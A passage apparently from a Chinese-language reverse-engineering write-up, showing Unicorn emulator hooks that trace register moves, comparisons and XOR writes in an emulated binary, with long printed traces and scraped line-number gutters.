        print(f"[HOOK MOV] @0x{address:08x}: mov esi, {hex(imm)}")
        cmp_collet = False
    if mc[0] == 0xBF:
        imm = int.from_bytes(mc[1:5], 'little')
        if(imm != 0x2f):
            print(f"[HOOK MOV] @0x{address:08x}: mov esi, {hex(imm)}")
            cmp_collet = False

def hook_cmp_esi(uc, address, size, user_data):
    global cmp_collet
    mc = uc.mem_read(address, size)
    if(cmp_collet == True):
        return 0
    # cmp esi, imm8 的编码是 0x83 0xFE imm8
    if mc[0] == 0x83 and mc[1] == 0xFE:
        imm8 = mc[2]
        print(f"[HOOK CMP] @0x{address:08x}: cmp esi, {hex(imm8)}")
        cmp_collet = True
        return 0
    if mc[0] == 0x83 and mc[1] == 0xf9:
        imm8 = mc[2]
        print(f"[HOOK CMP] @0x{address:08x}: cmp esi, {hex(imm8)}")
        cmp_collet = True
        return 0

mu.hook_add(UC_HOOK_CODE, hook_mov_esi, None, 1, 0, UC_X86_INS_CPUID)
mu.hook_add(UC_HOOK_CODE, hook_cmp_esi, None, 0x1000380, ADDRESS_CODE + CODE_SIZE, UC_X86_INS_CPUID)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
[HOOK MOV] @0x010013fc: mov esi, 0x28
[HOOK CMP] @0x01001416: cmp esi, 0x51
[STATE] ESI ← 0x61
[HOOK MOV] @0x01001427: mov esi, 0x20
[HOOK CMP] @0x01001443: cmp esi, 0x41
[STATE] ESI ← 0x10
[HOOK MOV] @0x01000a7f: mov esi, 0x18
[HOOK CMP] @0x01000a99: cmp esi, 0x31
[STATE] ESI ← 0x37
[HOOK MOV] @0x01000eae: mov esi, 0x24
[HOOK CMP] @0x01000ec8: cmp esi, 0x49
[STATE] ESI ← 0x1F
[HOOK MOV] @0x010007c4: mov esi, 0x1d
[HOOK CMP] @0x010007de: cmp esi, 0x3b
[STATE] ESI ← 0x31
[HOOK MOV] @0x01000589: mov esi, 0x12
[HOOK MOV] @0x0100058e: mov esi, 0xae4c415d
[HOOK CMP] @0x010005b6: cmp esi, 0x25
[STATE] ESI ← 0x13
[HOOK MOV] @0x010009f2: mov esi, 0xd
[HOOK CMP] @0x01000a0c: cmp esi, 0x1b
[STATE] ESI ← 0x56
[HOOK MOV] @0x010008a9: mov esi, 0x24
[HOOK CMP] @0x010008c3: cmp esi, 0x49
[STATE] ESI ← 0x54
[HOOK MOV] @0x010010b0: mov esi, 0xb
[HOOK CMP] @0x010010ca: cmp esi, 0x17
[HOOK MOV] @0x010010d1: mov esi, 0x2e
[HOOK MOV] @0x01000654: mov esi, 0x1d
[HOOK CMP] @0x0100066e: cmp esi, 0x3b
[STATE] ESI ← 0x2D
[HOOK MOV] @0x01001487: mov esi, 0x18
[HOOK CMP] @0x010014a1: cmp esi, 0x31
[STATE] ESI ← 0x36
[HOOK MOV] @0x010004a6: mov esi, 0x1f
[HOOK MOV] @0x010004ab: mov esi, 0xae4c415d
[HOOK CMP] @0x010004d4: cmp esi, 0x3f
[STATE] ESI ← 0x12
[HOOK MOV] @0x01001286: mov esi, 0x15
[HOOK CMP] @0x010012a0: cmp esi, 0x2b
[STATE] ESI ← 0x40
[HOOK MOV] @0x01001052: mov esi, 0xe
[HOOK CMP] @0x0100106c: cmp esi, 0x1d
[STATE] ESI ← 0x0E
[HOOK MOV] @0x01000d5b: mov esi, 0x2a
[HOOK CMP] @0x01000d75: cmp esi, 0x55
[STATE] ESI ← 0x39
[HOOK MOV] @0x01000f3b: mov esi, 0x14
[HOOK CMP] @0x01000f55: cmp esi, 0x29
[STATE] ESI ← 0x0F
[HOOK MOV] @0x010005cb: mov esi, 0xb
[HOOK CMP] @0x010005e5: cmp esi, 0x17
[STATE] ESI ← 0x03
[HOOK MOV] @0x010011f9: mov esi, 0x6
[HOOK CMP] @0x01001213: cmp esi, 0xd
[STATE] ESI ← 0x27
[HOOK MOV] @0x01000db9: mov esi, 0x1a
[HOOK CMP] @0x01000dd3: cmp esi, 0x35
[STATE] ESI ← 0x18
[HOOK CMP] @0x010007af: cmp esi, 0x31
[STATE] ESI ← 0x58
[HOOK MOV] @0x010010df: mov esi, 0x18
[HOOK CMP] @0x010010f9: cmp esi, 0x31
[STATE] ESI ← 0x3B
[HOOK MOV] @0x0100136f: mov esi, 0x1d
[HOOK CMP] @0x01001389: cmp esi, 0x3b
[STATE] ESI ← 0x55
[HOOK MOV] @0x0100076b: mov esi, 0x1d
[HOOK CMP] @0x01000785: cmp esi, 0x3b
[STATE] ESI ← 0x48
[HOOK MOV] @0x01000936: mov esi, 0xe
[HOOK CMP] @0x01000950: cmp esi, 0x1d
[STATE] ESI ← 0x0A
[HOOK MOV] @0x0100081b: mov esi, 0x3
[HOOK MOV] @0x01000820: mov esi, 0x2f
[HOOK CMP] @0x01000836: cmp esi, 0x7
[STATE] ESI ← 0x1C
[HOOK MOV] @0x01001257: mov esi, 0x18
[HOOK CMP] @0x01001271: cmp esi, 0x31
[STATE] ESI ← 0x1B
[HOOK MOV] @0x010008d8: mov esi, 0x8
[HOOK CMP] @0x010008f2: cmp esi, 0x11
[STATE] ESI ← 0x2F
[HOOK MOV] @0x01000ca7: mov esi, 0x8
[HOOK CMP] @0x01000cc1: cmp esi, 0x11
[STATE] ESI ← 0x5C
[HOOK MOV] @0x01001228: mov esi, 0x29
[HOOK CMP] @0x01001242: cmp esi, 0x53
[STATE] ESI ← 0x20
[HOOK MOV] @0x010003b0: mov esi, 0xb
[HOOK MOV] @0x010003b5: mov esi, 0xae4c415d
[HOOK CMP] @0x010003e1: cmp esi, 0x17
[STATE] ESI ← 0x2B
[HOOK MOV] @0x010006e1: mov esi, 0xd
[HOOK CMP] @0x010006fb: cmp esi, 0x1b
[STATE] ESI ← 0x50
[HOOK MOV] @0x010005f9: mov esi, 0x12
[HOOK CMP] @0x01000613: cmp esi, 0x25
[STATE] ESI ← 0x44
[HOOK MOV] @0x010015c7: mov esi, 0xe
[HOOK CMP] @0x010015e1: cmp esi, 0x1d
[STATE] ESI ← 0x2E
[HOOK MOV] @0x01001597: mov esi, 0x19
[HOOK MOV] @0x0100159c: mov esi, 0x2f
[HOOK CMP] @0x010015b2: cmp esi, 0x33
[STATE] ESI ← 0x1D
[HOOK MOV] @0x01000a21: mov esi, 0x2
[HOOK CMP] @0x01000a3b: cmp esi, 0x5
[STATE] ESI ← 0x5E
[HOOK MOV] @0x010014b2: mov esi, 0x17
[HOOK MOV] @0x010014b7: mov esi, 0x2f
[HOOK CMP] @0x010014cd: cmp esi, 0x2f
[STATE] ESI ← 0x21
[HOOK MOV] @0x01001540: mov esi, 0x11
[HOOK CMP] @0x0100155a: cmp esi, 0x23
[STATE] ESI ← 0x47
[HOOK MOV] @0x01000cd6: mov esi, 0x28
[HOOK CMP] @0x01000cf0: cmp esi, 0x51
[STATE] ESI ← 0x17
[HOOK MOV] @0x0100073c: mov esi, 0x11
[HOOK CMP] @0x01000756: cmp esi, 0x23
[STATE] ESI ← 0x01
[HOOK MOV] @0x01000994: mov esi, 0x4
[HOOK CMP] @0x010009ae: cmp esi, 0x9
[STATE] ESI ← 0x52
[HOOK MOV] @0x01001625: mov esi, 0x15
[HOOK CMP] @0x0100163f: cmp esi, 0x2b
[STATE] ESI ← 0x3F
[HOOK MOV] @0x0100110e: mov esi, 0x16
[HOOK CMP] @0x01001128: cmp esi, 0x2d
[STATE] ESI ← 0x16
[HOOK MOV] @0x01000683: mov esi, 0x2b
[HOOK CMP] @0x0100069d: cmp esi, 0x57
[STATE] ESI ← 0x4C
[HOOK MOV] @0x010012e0: mov esi, 0x20
[HOOK CMP] @0x010012fc: cmp esi, 0x41
[STATE] ESI ← 0x0D
[HOOK MOV] @0x01000429: mov esi, 0x13
[HOOK MOV] @0x0100042e: mov esi, 0xae4c415d
[HOOK CMP] @0x01000456: cmp esi, 0x27
[STATE] ESI ← 0x23
[HOOK MOV] @0x01000edd: mov esi, 0xc
[HOOK CMP] @0x01000ef7: cmp esi, 0x19
[STATE] ESI ← 0x34
[HOOK MOV] @0x0100070c: mov esi, 0x2d
[HOOK MOV] @0x01000711: mov esi, 0x2f
[HOOK CMP] @0x01000727: cmp esi, 0x5b
[STATE] ESI ← 0x49
[HOOK MOV] @0x01000907: mov esi, 0x24
[HOOK CMP] @0x01000921: cmp esi, 0x49
[STATE] ESI ← 0x43
[HOOK MOV] @0x01000f66: mov esi, 0x23
[HOOK MOV] @0x01000f6b: mov esi, 0x2f
[HOOK CMP] @0x01000f81: cmp esi, 0x47
[STATE] ESI ← 0x28
[HOOK MOV] @0x01000b64: mov esi, 0x16
[HOOK CMP] @0x01000b7e: cmp esi, 0x2d
[STATE] ESI ← 0x30
[HOOK MOV] @0x01000c78: mov esi, 0x2b
[HOOK CMP] @0x01000c92: cmp esi, 0x57
[STATE] ESI ← 0x33
[HOOK MOV] @0x010014e2: mov esi, 0x18
[HOOK CMP] @0x010014fc: cmp esi, 0x31
[STATE] ESI ← 0x4A
[HOOK MOV] @0x01000624: mov esi, 0x1b
[HOOK MOV] @0x01000629: mov esi, 0x2f
[HOOK CMP] @0x0100063f: cmp esi, 0x37
[STATE] ESI ← 0x0B
[HOOK MOV] @0x010009c3: mov esi, 0x8
[HOOK CMP] @0x010009dd: cmp esi, 0x11
[STATE] ESI ← 0x4B
[HOOK MOV] @0x010013cd: mov esi, 0x6
[HOOK CMP] @0x010013e7: cmp esi, 0xd
[STATE] ESI ← 0x32
[HOOK MOV] @0x01000fc5: mov esi, 0x13
[HOOK CMP] @0x01000fdf: cmp esi, 0x27
[STATE] ESI ← 0x24
[HOOK MOV] @0x01000384: mov esi, 0x26
[HOOK CMP] @0x0100039e: cmp esi, 0x4d
[STATE] ESI ← 0x51
[HOOK MOV] @0x01000de8: mov esi, 0x15
[HOOK CMP] @0x01000e02: cmp esi, 0x2b
[STATE] ESI ← 0x4D
[HOOK MOV] @0x0100116c: mov esi, 0x1d
[HOOK CMP] @0x01001186: cmp esi, 0x3b
[STATE] ESI ← 0x64
[HOOK MOV] @0x01000a50: mov esi, 0x16
[HOOK CMP] @0x01000a6a: cmp esi, 0x2d
[STATE] ESI ← 0x5A
[HOOK MOV] @0x010004e9: mov esi, 0x4
[HOOK CMP] @0x01000503: cmp esi, 0x9
[STATE] ESI ← 0x3A
[HOOK MOV] @0x01000965: mov esi, 0x2
[HOOK CMP] @0x0100097f: cmp esi, 0x5
[STATE] ESI ← 0x04
[HOOK MOV] @0x01000c48: mov esi, 0xa
[HOOK MOV] @0x01000c4d: mov esi, 0x2f
[HOOK CMP] @0x01000c63: cmp esi, 0x15
[STATE] ESI ← 0x26
[HOOK MOV] @0x0100087a: mov esi, 0x9
[HOOK CMP] @0x01000894: cmp esi, 0x13
[STATE] ESI ← 0x35
[HOOK MOV] @0x01000b35: mov esi, 0x24
[HOOK CMP] @0x01000b4f: cmp esi, 0x49
[STATE] ESI ← 0x46
[HOOK MOV] @0x01000f96: mov esi, 0x2c
[HOOK CMP] @0x01000fb0: cmp esi, 0x59
[STATE] ESI ← 0x60
[HOOK MOV] @0x010015f6: mov esi, 0x2
[HOOK CMP] @0x01001610: cmp esi, 0x5
[STATE] ESI ← 0x11
[HOOK CMP] @0x01000d46: cmp esi, 0x23
[STATE] ESI ← 0x07
[HOOK MOV] @0x0100156b: mov esi, 0xf
[HOOK MOV] @0x01001570: mov esi, 0x2f
[HOOK CMP] @0x01001586: cmp esi, 0x1f
[STATE] ESI ← 0x3E
[HOOK MOV] @0x01000bed: mov esi, 0x22
[HOOK MOV] @0x01000bf2: mov esi, 0x2f
[HOOK CMP] @0x01000c08: cmp esi, 0x45
[STATE] ESI ← 0x45
[HOOK MOV] @0x01001511: mov esi, 0x2
[HOOK CMP] @0x0100152b: cmp esi, 0x5
[STATE] ESI ← 0x2A
[HOOK MOV] @0x01000e7f: mov esi, 0x14
[HOOK CMP] @0x01000e99: cmp esi, 0x29
[STATE] ESI ← 0x19
[HOOK MOV] @0x010012b5: mov esi, 0xd
[HOOK CMP] @0x010012cf: cmp esi, 0x1b
[STATE] ESI ← 0x4E
[HOOK MOV] @0x0100119b: mov esi, 0x26
[HOOK CMP] @0x010011b5: cmp esi, 0x4d
[STATE] ESI ← 0x22
[HOOK MOV] @0x0100139e: mov esi, 0x9
[HOOK CMP] @0x010013b8: cmp esi, 0x13
[STATE] ESI ← 0x5F
[HOOK MOV] @0x01000aaa: mov esi, 0x27
[HOOK MOV] @0x01000aaf: mov esi, 0x2f
[HOOK CMP] @0x01000ac5: cmp esi, 0x4f
[STATE] ESI ← 0x25
[HOOK MOV] @0x01001311: mov esi, 0x1a
[HOOK CMP] @0x0100132b: cmp esi, 0x35
[STATE] ESI ← 0x41
[HOOK MOV] @0x01000b05: mov esi, 0x21
[HOOK MOV] @0x01000b0a: mov esi, 0x2f
[HOOK CMP] @0x01000b20: cmp esi, 0x43
[STATE] ESI ← 0x53
[HOOK MOV] @0x01000f0c: mov esi, 0x2a
[HOOK CMP] @0x01000f26: cmp esi, 0x55
[STATE] ESI ← 0x2C
[HOOK MOV] @0x01000c1d: mov esi, 0x13
[HOOK CMP] @0x01000c37: cmp esi, 0x27
[STATE] ESI ← 0x09
[HOOK MOV] @0x010007ef: mov esi, 0x2e
[HOOK MOV] @0x010007f4: mov esi, 0x2f
[HOOK CMP] @0x0100080a: cmp esi, 0x5d
[STATE] ESI ← 0x3C
[HOOK MOV] @0x01001340: mov esi, 0x18
[HOOK CMP] @0x0100135a: cmp esi, 0x31
[STATE] ESI ← 0x1E
[STATE] ESI ← 0x14
[HOOK MOV] @0x0100084b: mov esi, 0x29
[HOOK CMP] @0x01000865: cmp esi, 0x53
[HOOK MOV] @0x01000654: mov esi, 0x1d
[HOOK CMP] @0x0100066e: cmp esi, 0x3b
[HOOK MOV] @0x01000675: mov esi, 0x11

再來要知道他是怎麼進行XOR加密的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def hook_xor_insn(uc, address, size, user_data):
    mc = uc.mem_read(address, size)
    if mc.startswith(b'\x30\x04'):
        eip = address
        ecx = uc.reg_read(UC_X86_REG_ECX)
        esi = uc.reg_read(UC_X86_REG_ESI)
        dest = ecx + esi
        old = uc.mem_read(dest, 1)[0]
        al = uc.reg_read(UC_X86_REG_EAX) & 0xff
        result = old ^ al

        print(f"[XOR @0x{eip:x}] MEM[0x{dest:x}] 0x{old:02x} ^ AL(0x{al:02x}) → 0x{result:02x}")
        after = uc.mem_read(dest,1)[0]
        print(f" 寫入後 MEM = 0x{after:02x}")

def hook_mem_write(uc, access, addr, size, value, user_data):
    print(f"[WRITE] @0x{addr:x} ← 0x{value:02x}")

mu.hook_add(UC_HOOK_CODE, hook_xor_insn,None , 1,0,UC_X86_INS_CPUID)
mu.hook_add(UC_HOOK_MEM_WRITE, hook_mem_write)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213
2214
2215
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236
2237
2238
2239
2240
2241
2242
2243
2244
2245
2246
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261
2262
2263
2264
2265
2266
2267
2268
2269
2270
2271
2272
2273
2274
2275
2276
2277
2278
2279
2280
2281
2282
2283
2284
2285
2286
2287
2288
2289
2290
2291
2292
2293
2294
2295
2296
2297
2298
2299
2300
2301
2302
2303
2304
2305
2306
2307
2308
2309
2310
2311
2312
2313
2314
2315
2316
2317
2318
2319
2320
2321
2322
2323
2324
2325
2326
2327
2328
2329
2330
2331
2332
2333
2334
2335
2336
2337
2338
2339
2340
2341
2342
2343
2344
2345
2346
2347
2348
2349
2350
2351
2352
2353
2354
2355
2356
2357
2358
2359
2360
2361
2362
2363
2364
2365
2366
2367
2368
2369
2370
2371
2372
2373
2374
2375
2376
2377
2378
2379
2380
2381
2382
2383
2384
2385
2386
2387
2388
2389
2390
2391
2392
2393
2394
2395
2396
2397
2398
2399
2400
2401
2402
2403
2404
2405
2406
2407
2408
2409
2410
2411
2412
2413
2414
2415
2416
2417
2418
2419
2420
2421
2422
2423
2424
2425
2426
2427
2428
2429
2430
2431
2432
2433
2434
2435
2436
2437
2438
2439
2440
2441
2442
2443
2444
2445
2446
2447
2448
2449
2450
2451
2452
2453
2454
2455
2456
2457
2458
2459
2460
2461
2462
2463
2464
2465
2466
2467
2468
2469
2470
2471
2472
2473
2474
2475
2476
2477
2478
2479
2480
2481
2482
2483
2484
2485
2486
2487
2488
2489
2490
2491
2492
2493
2494
2495
2496
2497
2498
2499
2500
2501
2502
2503
2504
2505
2506
2507
2508
2509
2510
2511
2512
2513
2514
2515
2516
2517
2518
2519
2520
2521
2522
2523
2524
2525
2526
2527
2528
2529
2530
2531
2532
2533
2534
2535
2536
2537
2538
2539
2540
2541
2542
2543
2544
2545
2546
2547
2548
2549
2550
2551
2552
2553
2554
2555
2556
2557
2558
2559
2560
2561
2562
2563
2564
2565
2566
2567
2568
2569
2570
2571
2572
2573
2574
2575
2576
2577
2578
2579
2580
2581
2582
2583
2584
2585
2586
2587
2588
2589
2590
2591
2592
2593
2594
2595
2596
2597
2598
2599
2600
2601
2602
2603
2604
2605
2606
2607
2608
2609
2610
2611
2612
2613
2614
2615
2616
2617
2618
2619
2620
2621
2622
2623
2624
2625
2626
2627
2628
2629
2630
2631
2632
2633
2634
2635
2636
2637
2638
2639
2640
2641
2642
2643
2644
2645
2646
2647
2648
2649
2650
2651
2652
2653
2654
2655
2656
2657
2658
2659
2660
2661
2662
2663
2664
2665
2666
2667
2668
2669
2670
2671
2672
2673
2674
2675
2676
2677
2678
